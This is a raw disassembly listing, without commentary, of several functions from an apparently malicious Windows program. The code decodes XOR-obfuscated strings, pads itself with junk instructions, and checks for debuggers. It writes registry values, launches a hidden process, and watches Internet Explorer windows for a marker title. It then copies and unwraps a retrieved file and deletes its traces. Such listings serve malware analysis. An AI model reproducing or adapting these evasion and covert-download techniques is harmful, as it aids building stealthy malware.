push ebx ; hMem
call LocalFree ; LocalFree
jmp short loc_405E7D
; ---------------------------------------------------------------------------
loc_405E78: ; CODE XREF: sub_4054C8+9A6j
or eax, 0FFFFFFFFh
jmp short loc_405E83
; ---------------------------------------------------------------------------
loc_405E7D: ; CODE XREF: sub_4054C8+9AEj
mov eax, [ebp+var_30014]
loc_405E83: ; CODE XREF: sub_4054C8+9B3j
pop edi
pop esi
pop ebx
leave
retn
sub_4054C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405E88 proc near ; CODE XREF: sub_4061F7:loc_40632Dp
var_2124 = dword ptr -2124h
var_2120 = byte ptr -2120h
var_1121 = byte ptr -1121h
var_130 = dword ptr -130h
var_12B = byte ptr -12Bh
var_126 = byte ptr -126h
lpValueName = dword ptr -124h
lpSubKey = dword ptr -120h
var_11C = word ptr -11Ch
var_11A = byte ptr -11Ah
var_114 = byte ptr -114h
var_10D = byte ptr -10Dh
var_10A = word ptr -10Ah
Data = byte ptr -108h
var_101 = byte ptr -101h
SubKey = byte ptr -100h
push ebp
mov ebp, esp
mov eax, 2124h
call sub_40C6B8
push esi
push edi
call GetLastError
lea edi, [ebp+var_10D]
lea esi, byte_4422F3
mov ecx, 3
rep movsb
lea edi, [ebp+var_114]
lea esi, word_4422F6
mov ecx, 7
rep movsb
and dword ptr [ebp+Data], 0
mov [ebp+var_101], 0
jmp loc_406024
; ---------------------------------------------------------------------------
loc_405ED5: ; CODE XREF: sub_405E88+1A4j
call GetCurrentThreadId ; GetCurrentThreadId
push 44h ; Size
push offset byte_4471CF ; Src
call sub_405138
movzx edi, [ebp+var_101]
push edi
push eax ; Format
lea edi, [ebp+SubKey]
push edi ; Dest
call sprintf ; sprintf
call GetVersion ; GetVersion
push 4 ; Size
push offset word_4471CA ; Src
call sub_405138
push 4 ; dwType
push 4 ; cbData
lea edi, [ebp+Data]
push edi ; lpData
push eax ; lpValueName
lea edi, [ebp+SubKey]
push edi ; lpSubKey
push 80000001h ; hKey
call sub_40160A
lea edi, [ebp+var_126]
lea esi, byte_4422FD
mov ecx, 3
rep movsw
push 4 ; Size
push offset word_4471CA ; Src
call sub_405138
push 4 ; dwType
push 4 ; cbData
lea edi, [ebp+Data]
push edi ; lpData
push eax ; lpValueName
lea edi, [ebp+SubKey]
push edi ; lpSubKey
push 80000002h ; hKey
call sub_40160A
mov [ebp+lpSubKey], 2D0Fh
mov eax, 37FBh
mul [ebp+lpSubKey]
mov [ebp+var_130], eax
mov [ebp+lpSubKey], eax
push 4Dh ; Size
push offset dword_44717C ; Src
call sub_405138
movzx edi, [ebp+var_101]
push edi
push eax ; Format
lea edi, [ebp+SubKey]
push edi ; Dest
call sprintf ; sprintf
call GetProcessHeap ; GetProcessHeap
push 4 ; Size
push offset word_4471CA ; Src
call sub_405138
push 4 ; dwType
push 4 ; cbData
lea edi, [ebp+Data]
push edi ; lpData
push eax ; lpValueName
lea edi, [ebp+SubKey]
push edi ; lpSubKey
push 80000002h ; hKey
call sub_40160A
lea edi, [ebp+var_12B]
lea esi, byte_442303
mov ecx, 5
rep movsb
push 4 ; Size
push offset word_4471CA ; Src
call sub_405138
push 4 ; dwType
push 4 ; cbData
lea edi, [ebp+Data]
push edi ; lpData
push eax ; lpValueName
lea edi, [ebp+SubKey]
push edi ; lpSubKey
push 80000001h ; hKey
call sub_40160A
add esp, 0A8h
call GetProcessHeap ; GetProcessHeap
add [ebp+var_101], 1
loc_406024: ; CODE XREF: sub_405E88+48j
mov al, [ebp+var_101]
cmp al, 5
jb loc_405ED5
call GetVersion ; GetVersion
cmp eax, 80000000h
jb short loc_4060A2
call GetLastError
push 4Ch ; Size
push offset byte_44712F ; Src
call sub_405138
mov [ebp+lpSubKey], eax
push 10h ; Size
push offset aNskoyryklns_yo ; "~NSKOYrYKlNS_YOO"
call sub_405138
mov [ebp+lpValueName], eax
push 3 ; Size
push offset word_44711A ; Src
call sub_405138
push 1 ; dwType
mov edi, 15h
sub edi, dword_44229C
push edi ; cbData
push eax ; lpData
mov edi, [ebp+lpValueName]
push edi ; lpValueName
mov edi, [ebp+lpSubKey]
push edi ; lpSubKey
push 80000003h ; hKey
call sub_40160A
add esp, 30h
jmp loc_406140
; ---------------------------------------------------------------------------
loc_4060A2: ; CODE XREF: sub_405E88+1B4j
mov ax, word_442308
mov word ptr [ebp+lpValueName+2], ax
mov eax, dword_44230A
mov [ebp+var_2124], eax
lea eax, [ebp+var_1121]
push eax ; LPSTR
call sub_40506F
call GetProcessHeap ; GetProcessHeap
push 59h ; Size
push offset dword_4470C0 ; Src
call sub_405138
lea edi, [ebp+var_1121]
push edi
push eax ; Format
lea edi, [ebp+var_2120]
push edi ; Dest
call sprintf ; sprintf
call GetTickCount ; GetTickCount
and [ebp+lpSubKey], 0
push 0Ch ; Size
push offset byte_4470B3 ; Src
call sub_405138
push 4 ; dwType
push 4 ; cbData
lea edi, [ebp+lpSubKey]
push edi ; lpData
push eax ; lpValueName
lea edi, [ebp+var_2120]
push edi ; lpSubKey
push 80000003h ; hKey
call sub_40160A
add esp, 38h
mov [ebp+var_11C], 3003h
movzx eax, [ebp+var_11C]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_11C], ax
loc_406140: ; CODE XREF: sub_405E88+215j
push 3Bh ; Size
push offset byte_447077 ; Src
call sub_405138
mov [ebp+lpSubKey], eax
push 11h ; Size
push offset aPsPioynszzpury ; "{PS^]PiOYNsZZPURY"
call sub_405138
push 4 ; dwType
push 4 ; cbData
lea edi, [ebp+Data]
push edi ; lpData
push eax ; lpValueName
mov edi, [ebp+lpSubKey]
push edi ; lpSubKey
push 80000001h ; hKey
call sub_40160A
lea edi, [ebp+var_11A]
lea esi, word_44230E
mov ecx, 3
rep movsw
push 33h ; Size
push offset byte_447031 ; Src
call sub_405138
push 1 ; dwType
push 0 ; cbData
push offset WindowName ; lpData
push offset WindowName ; lpValueName
push eax ; lpSubKey
push 80000001h ; hKey
call sub_40160A
call GetCurrentProcessId ; GetCurrentProcessId
push 3Bh ; Size
push offset byte_446FF5 ; Src
call sub_405138
push 1 ; dwType
push 0 ; cbData
push offset WindowName ; lpData
push offset WindowName ; lpValueName
push eax ; lpSubKey
push 80000001h ; hKey
call sub_40160A
add esp, 68h
mov [ebp+var_10A], 4809h
sub [ebp+var_10A], 555h
pop edi
pop esi
leave
retn
sub_405E88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4061F7(HLOCAL hMem, int, LPCSTR lpFileName, LPCSTR lpString, int, int, int, int)
sub_4061F7 proc near ; CODE XREF: sub_4098A8+29Dp
; sub_4098A8+647p ...
var_3DF = byte ptr -3DFh
lpBuffer = dword ptr -3DCh
var_3D7 = byte ptr -3D7h
ExistingFileName= byte ptr -3D6h
var_2D2 = byte ptr -2D2h
var_2CD = dword ptr -2CDh
var_2C9 = byte ptr -2C9h
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BB = byte ptr -2BBh
var_2B5 = byte ptr -2B5h
lpSubKey = dword ptr -2B4h
var_2AD = byte ptr -2ADh
var_2A5 = byte ptr -2A5h
var_29F = byte ptr -29Fh
var_298 = byte ptr -298h
var_295 = byte ptr -295h
var_28F = byte ptr -28Fh
Type = dword ptr -28Ch
var_286 = byte ptr -286h
var_281 = dword ptr -281h
var_27D = byte ptr -27Dh
var_278 = dword ptr -278h
var_274 = dword ptr -274h
cbData = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = word ptr -268h
var_266 = word ptr -266h
var_264 = dword ptr -264h
Dst = dword ptr -260h
hObject = dword ptr -25Ch
Source = byte ptr -250h
var_14C = dword ptr -14Ch
StartupInfo = _STARTUPINFOA ptr -148h
WindowName = byte ptr -104h
hMem = dword ptr 8
arg_4 = dword ptr 0Ch
lpFileName = dword ptr 10h
lpString = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 3E0h
push ebx
push esi
push edi
lea edi, [ebp+var_27D]
lea esi, dword_442314
mov ecx, 5
rep movsb
and [ebp+var_14C], 0
mov eax, dword_442319
mov [ebp+var_281], eax
xor ebx, ebx
lea edi, [ebp+var_286]
lea esi, byte_44231D
mov ecx, 5
rep movsb
push offset Addend ; lpAddend
call InterlockedIncrement ; InterlockedIncrement
mov [ebp+var_26C], eax
mov [ebp+var_264], 6A69h
mov eax, [ebp+var_264]
mov edx, eax
add edx, eax
mov [ebp+var_264], edx
push 10h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
mov [ebp+var_266], 6967h
sub [ebp+var_266], 112Ch
mov [ebp+cbData], 104h
call GetProcessHeap ; GetProcessHeap
push 21h ; Size
push offset byte_446FD3 ; Src
call sub_405138
mov [ebp+lpSubKey], eax
push 4 ; Size
push offset word_446FCE ; Src
call sub_405138
lea edi, [ebp+Type]
push edi ; lpType
lea edi, [ebp+cbData]
push edi ; lpcbData
lea edi, [ebp+Source]
push edi ; lpData
push eax ; lpValueName
mov edi, [ebp+lpSubKey]
push edi ; lpSubKey
push 80000002h ; hKey
call sub_4014C9
add esp, 34h
mov [ebp+var_274], eax
mov [ebp+var_268], 31E9h
sub [ebp+var_268], 5E5h
test eax, eax
jnz short loc_40632D
mov [ebp+var_2B5], 0E2h
add [ebp+var_2B5], 1
push [ebp+hMem] ; hMem
call LocalFree ; LocalFree
lea edi, [ebp+var_2BB]
lea esi, word_442322
mov ecx, 3
rep movsw
xor eax, eax
jmp loc_406810
; ---------------------------------------------------------------------------
loc_40632D: ; CODE XREF: sub_4061F7+103j
call sub_405E88
lea edi, [ebp+var_28F]
lea esi, byte_442328
mov ecx, 3
rep movsb
push 104h ; nSize
lea eax, [ebp+WindowName]
push eax ; lpDst
lea eax, [ebp+Source]
push eax ; lpSrc
call ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA
lea edi, [ebp+var_295]
lea esi, byte_44232B
mov ecx, 3
rep movsw
push [ebp+var_26C] ; int
push [ebp+arg_18] ; int
push [ebp+arg_14] ; int
push [ebp+arg_10] ; int
push [ebp+lpString] ; lpString
push [ebp+arg_4] ; int
push [ebp+hMem] ; int
lea eax, [ebp+Source]
push eax ; lpFileName
call sub_4054C8
add esp, 20h
mov [ebp+var_14C], eax
cmp [ebp+arg_1C], 0
jz short loc_4063BC
cmp eax, 0FFFFFFFFh
jz short loc_4063B6
mov eax, [ebp+arg_1C]
mov edx, [ebp+var_14C]
mov [eax], edx
jmp short loc_4063BC
; ---------------------------------------------------------------------------
loc_4063B6: ; CODE XREF: sub_4061F7+1B0j
mov eax, [ebp+arg_1C]
and dword ptr [eax], 0
loc_4063BC: ; CODE XREF: sub_4061F7+1ABj
; sub_4061F7+1BDj
cmp [ebp+var_14C], 0
jnz short loc_4063DF
mov eax, dword_442331
mov [ebp-2B8h], eax
push [ebp+hMem] ; hMem
call LocalFree ; LocalFree
xor eax, eax
jmp loc_406810
; ---------------------------------------------------------------------------
loc_4063DF: ; CODE XREF: sub_4061F7+1CCj
push 0Eh ; Size
push offset byte_446FBF ; Src
call sub_405138
push eax ; Source
lea edi, [ebp+WindowName]
push edi ; Dest
call strcat ; strcat
lea edi, [ebp+var_298]
lea esi, byte_442335
mov ecx, 3
rep movsb
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+WindowName]
push eax ; Dest
call strcat ; strcat
call GetProcessHeap ; GetProcessHeap
call sub_4043CA
mov [ebp+var_278], eax
lea edi, [ebp+var_29F]
lea esi, dword_442338
mov ecx, 7
rep movsb
push 44h ; Size
push 0 ; Val
lea eax, [ebp+StartupInfo]
push eax ; Dst
call memset ; memset
call IsDebuggerPresent ; IsDebuggerPresent
push 44h ; Size
push 0 ; Val
lea eax, [ebp+StartupInfo]
push eax ; Dst
call memset ; memset
add esp, 30h
lea edi, [ebp+var_2A5]
lea esi, byte_44233F
mov ecx, 3
rep movsw
mov [ebp+StartupInfo.cb], 44h
lea edi, [ebp+var_2AD]
lea esi, byte_442345
mov ecx, 2
rep movsd
mov [ebp+StartupInfo.dwFlags], 1
mov [ebp+StartupInfo.wShowWindow], 1
cmp [ebp+var_278], 0
jz short loc_4064C5
lea eax, [ebp+StartupInfo]
push eax
call sub_40446E
pop ecx
jmp short loc_4064CE
; ---------------------------------------------------------------------------
loc_4064C5: ; CODE XREF: sub_4061F7+2BDj
mov [ebp+StartupInfo.wShowWindow], 0
loc_4064CE: ; CODE XREF: sub_4061F7+2CCj
lea eax, [ebp+Dst]
push eax ; lpProcessInformation
lea eax, [ebp+StartupInfo]
push eax ; lpStartupInfo
push 0 ; lpCurrentDirectory
push 0 ; lpEnvironment
push 20h ; dwCreationFlags
push 0 ; bInheritHandles
push 0 ; lpThreadAttributes
push 0 ; lpProcessAttributes
lea eax, [ebp+WindowName]
push eax ; lpCommandLine
push 0 ; lpApplicationName
call CreateProcessA ; CreateProcessA
or eax, eax
jz loc_4067AD
mov eax, dword_44234D
mov [ebp+var_2C4], eax
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
mov dword ptr [ebp-2BCh], 4906h
mov eax, 28BCh
mul dword ptr [ebp-2BCh]
mov [ebp+var_2C8], eax
mov [ebp-2BCh], eax
push 22h ; Size
push offset dword_446F9C ; Src
call sub_405138
push [ebp+var_26C]
push offset word_447346
push eax ; Format
lea edi, [ebp+WindowName]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
mov [ebp+var_2C0], 5F7Dh
add [ebp+var_2C0], 58F3h
mov [ebp+var_2B5], 0
jmp short loc_4065D0
; ---------------------------------------------------------------------------
loc_406579: ; CODE XREF: sub_4061F7+3E1j
call GetTickCount ; GetTickCount
push 7 ; Size
push offset aUyznQy ; "uyzN]QY"
call sub_405138
add esp, 8
lea edi, [ebp+WindowName]
push edi ; lpWindowName
push eax ; lpClassName
call FindWindowA ; FindWindowA
mov ebx, eax
or ebx, ebx
jnz short loc_4065DA
mov [ebp+var_2C9], 0BAh
add [ebp+var_2C9], 0Bh
mov eax, dword_44229C
add eax, 3D7h
push eax ; dwMilliseconds
call Sleep ; Sleep
mov eax, dword_442351
mov [ebp+var_2CD], eax
add [ebp+var_2B5], 1
loc_4065D0: ; CODE XREF: sub_4061F7+380j
mov al, [ebp+var_2B5]
cmp al, 0Ah
jb short loc_406579
loc_4065DA: ; CODE XREF: sub_4061F7+3A7j
or ebx, ebx
jz loc_40679F
call GetCurrentProcessId ; GetCurrentProcessId
push 0EA60h ; dwMilliseconds
call Sleep ; Sleep
call GetLastError
push 104h ; nMaxCount
lea eax, [ebp+WindowName]
push eax ; lpString
push ebx ; hWnd
call GetWindowTextA ; GetWindowTextA
call GetProcessHeap ; GetProcessHeap
mov eax, 12h
sub eax, dword_44229C
push eax
push offset aXOkrecv11 ; "X-okRecv11"
lea eax, [ebp+WindowName]
push eax
call sub_40181A
add esp, 0Ch
cmp eax, 0FFFFh
jz loc_406775
lea edi, [ebp+var_2D2]
lea esi, byte_442355
mov ecx, 3
rep movsw
mov [ebp+var_2CD+1], 4072h
inc [ebp+var_2CD+1]
lea eax, [ebp+ExistingFileName]
push eax
push [ebp+arg_4]
call sub_40523D
add esp, 8
or eax, eax
jz loc_406759
call GetCurrentThreadId ; GetCurrentThreadId
push 0 ; bFailIfExists
push [ebp+lpFileName] ; lpNewFileName
lea eax, [ebp+ExistingFileName]
push eax ; lpExistingFileName
call CopyFileA ; CopyFileA
lea edi, [ebp+var_3DF]
lea esi, byte_44235B
mov ecx, 3
rep movsb
lea eax, [ebp+var_14C]
push eax ; int
push [ebp+lpFileName] ; lpFileName
call sub_401A7E
mov [ebp+lpBuffer], eax
call GetCurrentProcessId ; GetCurrentProcessId
push [ebp+lpFileName] ; lpFileName
call DeleteFileA ; DeleteFileA
mov [ebp+var_3D7], 18h
movzx eax, [ebp+var_3D7]
imul eax, 415h
mov [ebp+var_3D7], al
push offset String ; "<HTML><!--"
call lstrlenA ; lstrlenA
push eax ; MaxCount
push offset String ; "<HTML><!--"
push [ebp+lpBuffer] ; Str1
call strncmp ; strncmp
add esp, 14h
or eax, eax
jnz short loc_406727
push offset String ; "<HTML><!--"
call lstrlenA ; lstrlenA
mov edi, [ebp+var_14C]
sub edi, 3Ah
push edi ; nNumberOfBytesToWrite
mov edi, eax
add edi, [ebp+lpBuffer]
push edi ; lpBuffer
push [ebp+lpFileName] ; lpFileName
call sub_4051C3
add esp, 0Ch
jmp short loc_406742
; ---------------------------------------------------------------------------
loc_406727: ; CODE XREF: sub_4061F7+504j
mov eax, [ebp+var_14C]
sub eax, 40h
push eax ; nNumberOfBytesToWrite
push [ebp+lpBuffer] ; lpBuffer
push [ebp+lpFileName] ; lpFileName
call sub_4051C3
add esp, 0Ch
loc_406742: ; CODE XREF: sub_4061F7+52Ej
push [ebp+lpBuffer] ; hMem
call LocalFree ; LocalFree
mov [ebp+var_14C], 2
jmp short loc_4067CE
; ---------------------------------------------------------------------------
loc_406759: ; CODE XREF: sub_4061F7+479j
mov [ebp+lpBuffer], 14F0h
inc [ebp+lpBuffer]
mov [ebp+var_14C], 1
jmp short loc_4067CE
; ---------------------------------------------------------------------------
loc_406775: ; CODE XREF: sub_4061F7+43Bj
mov [ebp+var_2CD+1], 789Bh
mov eax, 506Fh
mul [ebp+var_2CD+1]
mov [ebp-2D0h], eax
mov [ebp+var_2CD+1], eax
and [ebp+var_14C], 0
jmp short loc_4067CE
; ---------------------------------------------------------------------------
loc_40679F: ; CODE XREF: sub_4061F7+3E5j
call GetCurrentThreadId ; GetCurrentThreadId
and [ebp+var_14C], 0
jmp short loc_4067CE
; ---------------------------------------------------------------------------
loc_4067AD: ; CODE XREF: sub_4061F7+301j
mov dword ptr [ebp-2B8h], 1965h
mov eax, [ebp-2B8h]
mov edx, eax
add edx, eax
mov [ebp-2B8h], edx
and [ebp+var_14C], 0
loc_4067CE: ; CODE XREF: sub_4061F7+560j
; sub_4061F7+57Cj ...
lea eax, [ebp+Source]
push eax ; lpFileName
call DeleteFileA ; DeleteFileA
call IsDebuggerPresent ; IsDebuggerPresent
push [ebp+hMem] ; hMem
call LocalFree ; LocalFree
call GetLastError
push 0 ; uExitCode
push [ebp+Dst] ; hProcess
call TerminateProcess ; TerminateProcess
mov ebx, 77CCh
inc ebx
push [ebp+Dst] ; hObject
call CloseHandle ; CloseHandle
mov eax, [ebp+var_14C]
loc_406810: ; CODE XREF: sub_4061F7+131j
; sub_4061F7+1E3j
pop edi
pop esi
pop ebx
leave
retn
sub_4061F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_406815(void *Src, size_t Size)
sub_406815 proc near ; CODE XREF: sub_406A40+ADp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov esi, [ebp+Size]
mov [ebp+var_4], 307h
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_442368
lea eax, ds:41C7C0h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_8], 12Ah
xor edi, edi
jmp short loc_406862
; ---------------------------------------------------------------------------
loc_40684B: ; CODE XREF: sub_406815+4Fj
mov eax, dword_442368
add eax, edi
lea eax, ds:41C7C0h[eax]
movsx edx, byte ptr [eax]
xor edx, 16h
mov [eax], dl
inc edi
loc_406862: ; CODE XREF: sub_406815+34j
cmp edi, esi
jl short loc_40684B
mov [ebp+var_C], 3B6h
mov eax, dword_442368
add eax, esi
mov byte ptr dword_41C7C0[eax], 0
mov edi, dword_442368
inc dword_442368
mov eax, dword_442368
lea eax, [eax+esi+2]
mov dword_442368, eax
add dword_442368, 2
cmp dword_442368, 0DD4h
jle short loc_4068B0
and dword_442368, 0
loc_4068B0: ; CODE XREF: sub_406815+92j
mov [ebp+var_10], 1F1h
lea eax, dword_41C7C0[edi]
pop edi
pop esi
leave
retn
sub_406815 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4068C1(LPCWSTR lpWideCharStr, LPSTR lpMultiByteStr)
sub_4068C1 proc near ; CODE XREF: sub_406D2E+141p
; sub_406D2E+562p ...
var_1 = byte ptr -1
lpWideCharStr = dword ptr 8
lpMultiByteStr = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+lpWideCharStr]
mov esi, [ebp+lpMultiByteStr]
mov [ebp+var_1], 73h
movzx eax, [ebp+var_1]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1], al
push ebx ; lpString
call lstrlenW ; lstrlenW
mov edi, eax
call GetProcessHeap ; GetProcessHeap
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
push 1FFFh ; cbMultiByte
push esi ; lpMultiByteStr
push edi ; cchWideChar
push ebx ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
call WideCharToMultiByte ; WideCharToMultiByte
call GetLastError
mov byte ptr [esi+edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_4068C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406911 proc near ; CODE XREF: sub_40696D+C1p
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
call GetVersion ; GetVersion
cmp dword_442370, 0
jz short loc_406933
mov eax, dword_442370
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_406933: ; CODE XREF: sub_406911+15j
lea edi, [ebp+var_8]
lea esi, dword_442378
movsd
movsd
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov ebx, 1BD8h
inc ebx
mov eax, [ebp+arg_0]
mov eax, [eax]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, dword_442380
mov [ebp+var_C], eax
call CoUninitialize
pop edi
pop esi
pop ebx
leave
retn
sub_406911 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40696D(LPVOID *ppv)
sub_40696D proc near ; CODE XREF: sub_406D2E+54p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
pclsid = CLSID ptr -16h
var_6 = word ptr -6
var_4 = dword ptr -4
ppv = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov ebx, [ebp+ppv]
call GetProcessHeap ; GetProcessHeap
mov [ebp+var_6], 366h
sub [ebp+var_6], 7E1Dh
and dword ptr [ebx], 0
and dword ptr [ebx+4], 0
push 0 ; pvReserved
call CoInitialize
call GetCurrentThreadId ; GetCurrentThreadId
lea eax, [ebp+pclsid]
push eax ; pclsid
push offset sz ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
call CLSIDFromString
mov [ebp+var_4], eax
xor eax, eax
cmp [ebp+var_4], 0
setl al
mov [ebp+var_24], eax
test eax, eax
jnz short loc_406A2D
push ebx ; ppv
push offset riid ; riid
push 4 ; dwClsContext
push 0 ; pUnkOuter
lea eax, [ebp+pclsid]
push eax ; rclsid
call CoCreateInstance
mov [ebp+var_4], eax
lea edi, [ebp+var_1C]
lea esi, dword_442384
mov ecx, 3
rep movsw
xor eax, eax
cmp [ebp+var_4], 0
setl al
mov [ebp+var_28], eax
test eax, eax
jnz short loc_406A2D
mov eax, dword_44238A
mov [ebp+var_20], eax
mov eax, ebx
add eax, 4
push eax
push offset dword_447B0C
mov eax, [ebx]
push dword ptr [ebx]
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
xor eax, eax
cmp [ebp+var_4], 0
setl al
mov [ebp+var_2C], eax
test eax, eax
jnz short loc_406A2D
xor eax, eax
inc eax
jmp short loc_406A3B
; ---------------------------------------------------------------------------
loc_406A2D: ; CODE XREF: sub_40696D+4Fj
; sub_40696D+86j ...
push ebx
call sub_406911
pop ecx
call GetProcessHeap ; GetProcessHeap
xor eax, eax
loc_406A3B: ; CODE XREF: sub_40696D+BEj
pop edi
pop esi
pop ebx
leave
retn
sub_40696D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_406A40(int, HWND hWnd)
sub_406A40 proc near ; CODE XREF: sub_406D2E+86p
var_1004A = byte ptr -1004Ah
var_10044 = word ptr -10044h
var_10042 = byte ptr -10042h
var_1003C = byte ptr -1003Ch
var_10034 = dword ptr -10034h
String = byte ptr -1002Fh
var_30 = dword ptr -30h
var_29 = byte ptr -29h
var_28 = word ptr -28h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
hWnd = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1004Ch
call sub_40C6B8
push ebx
push esi
push edi
mov [ebp+var_E], 0ADBh
sub [ebp+var_E], 2E5Bh
cmp dword_442374, 0FFFFh
jz short loc_406A6F
and dword_44236C, 0
loc_406A6F: ; CODE XREF: sub_406A40+26j
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, dword_44236C
cmp [ebp+hWnd], eax
jz loc_406C9D
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, [ebp+hWnd]
mov dword_44236C, eax
cmp dword_442370, 0
jz short loc_406ABF
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, dword_442370
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov [ebp+var_10044], 0D6h
inc [ebp+var_10044]
and dword_442370, 0
loc_406ABF: ; CODE XREF: sub_406A40+56j
lea edi, [ebp+var_1003C]
lea esi, word_44238E
movsd
movsd
push 0FFFFh ; nMaxCount
lea eax, [ebp+String]
push eax ; lpString
push [ebp+hWnd] ; hWnd
call GetWindowTextA ; GetWindowTextA
call GetProcessHeap ; GetProcessHeap
push 1Bh ; Size
push offset unk_446F14 ; Src
call sub_406815
mov edi, 0Eh
sub edi, dword_442364
push edi
push eax
lea edi, [ebp+String]
push edi
call sub_40181A
add esp, 14h
cmp eax, 0FFFFh
jnz short loc_406B45
lea edi, [ebp+var_1004A]
lea esi, word_442396
mov ecx, 3
rep movsw
and dword_442370, 0
mov [ebp+var_10044], 1FF4h
inc [ebp+var_10044]
jmp loc_406C9D
; ---------------------------------------------------------------------------
loc_406B45: ; CODE XREF: sub_406A40+D3j
lea eax, [ebp+var_C]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
cmp [ebp+var_C], 0
jz loc_406C9D
call GetLastError
or ebx, ebx
jnz loc_406C9D
call GetCurrentThreadId ; GetCurrentThreadId
and [ebp+var_4], 0
cmp dword_442374, 0FFFFh
jz short loc_406BA8
call IsDebuggerPresent ; IsDebuggerPresent
inc dword_442374
mov eax, [ebp+var_C]
cmp dword_442374, eax
jbe short loc_406BA0
and dword_442374, 0
loc_406BA0: ; CODE XREF: sub_406A40+157j
mov eax, dword_442374
mov [ebp+var_4], eax
loc_406BA8: ; CODE XREF: sub_406A40+141j
; sub_406A40+250j
push 0 ; Duration
call _sleep ; _sleep
pop ecx
mov [ebp+var_28], 2
mov eax, [ebp+var_4]
mov [ebp+var_20], eax
mov dword_442374, eax
lea eax, [ebp+var_14]
push eax
lea esi, [ebp+var_28]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_0]
mov edi, [edi+4]
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
mov [ebp+var_8], 0E5h
mov eax, [ebp+var_8]
mov edx, eax
add edx, eax
mov [ebp+var_8], edx
or ebx, ebx
jnz short loc_406C65
push offset dword_442370
push offset dword_447B2C
mov eax, [ebp+var_14]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
lea edi, [ebp+var_10042]
lea esi, dword_44239C
mov ecx, 3
rep movsw
or ebx, ebx
jnz short loc_406C65
mov [ebp+var_29], 22h
sub [ebp+var_29], 83h
lea eax, [ebp+var_10034]
push eax
mov eax, dword_442370
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
call GetCurrentThreadId ; GetCurrentThreadId
or ebx, ebx
jnz short loc_406C65
mov dword_442374, 0FFFFh
mov eax, [ebp+hWnd]
cmp [ebp+var_10034], eax
jz short loc_406C9D
loc_406C65: ; CODE XREF: sub_406A40+1B5j
; sub_406A40+1E6j ...
cmp dword_442370, 0
jz short loc_406C79
mov eax, dword_442370
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_406C79: ; CODE XREF: sub_406A40+22Cj
mov [ebp+var_30], 48A1h
add [ebp+var_30], 7310h
inc [ebp+var_4]
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb loc_406BA8
and dword_442370, 0
loc_406C9D: ; CODE XREF: sub_406A40+3Cj
; sub_406A40+100j ...
pop edi
pop esi
pop ebx
leave
retn
sub_406A40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_406CA2(void *Src, size_t Size)
sub_406CA2 proc near ; CODE XREF: sub_406D2E+5E1p
; sub_406D2E+62Ap ...
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_4423AC
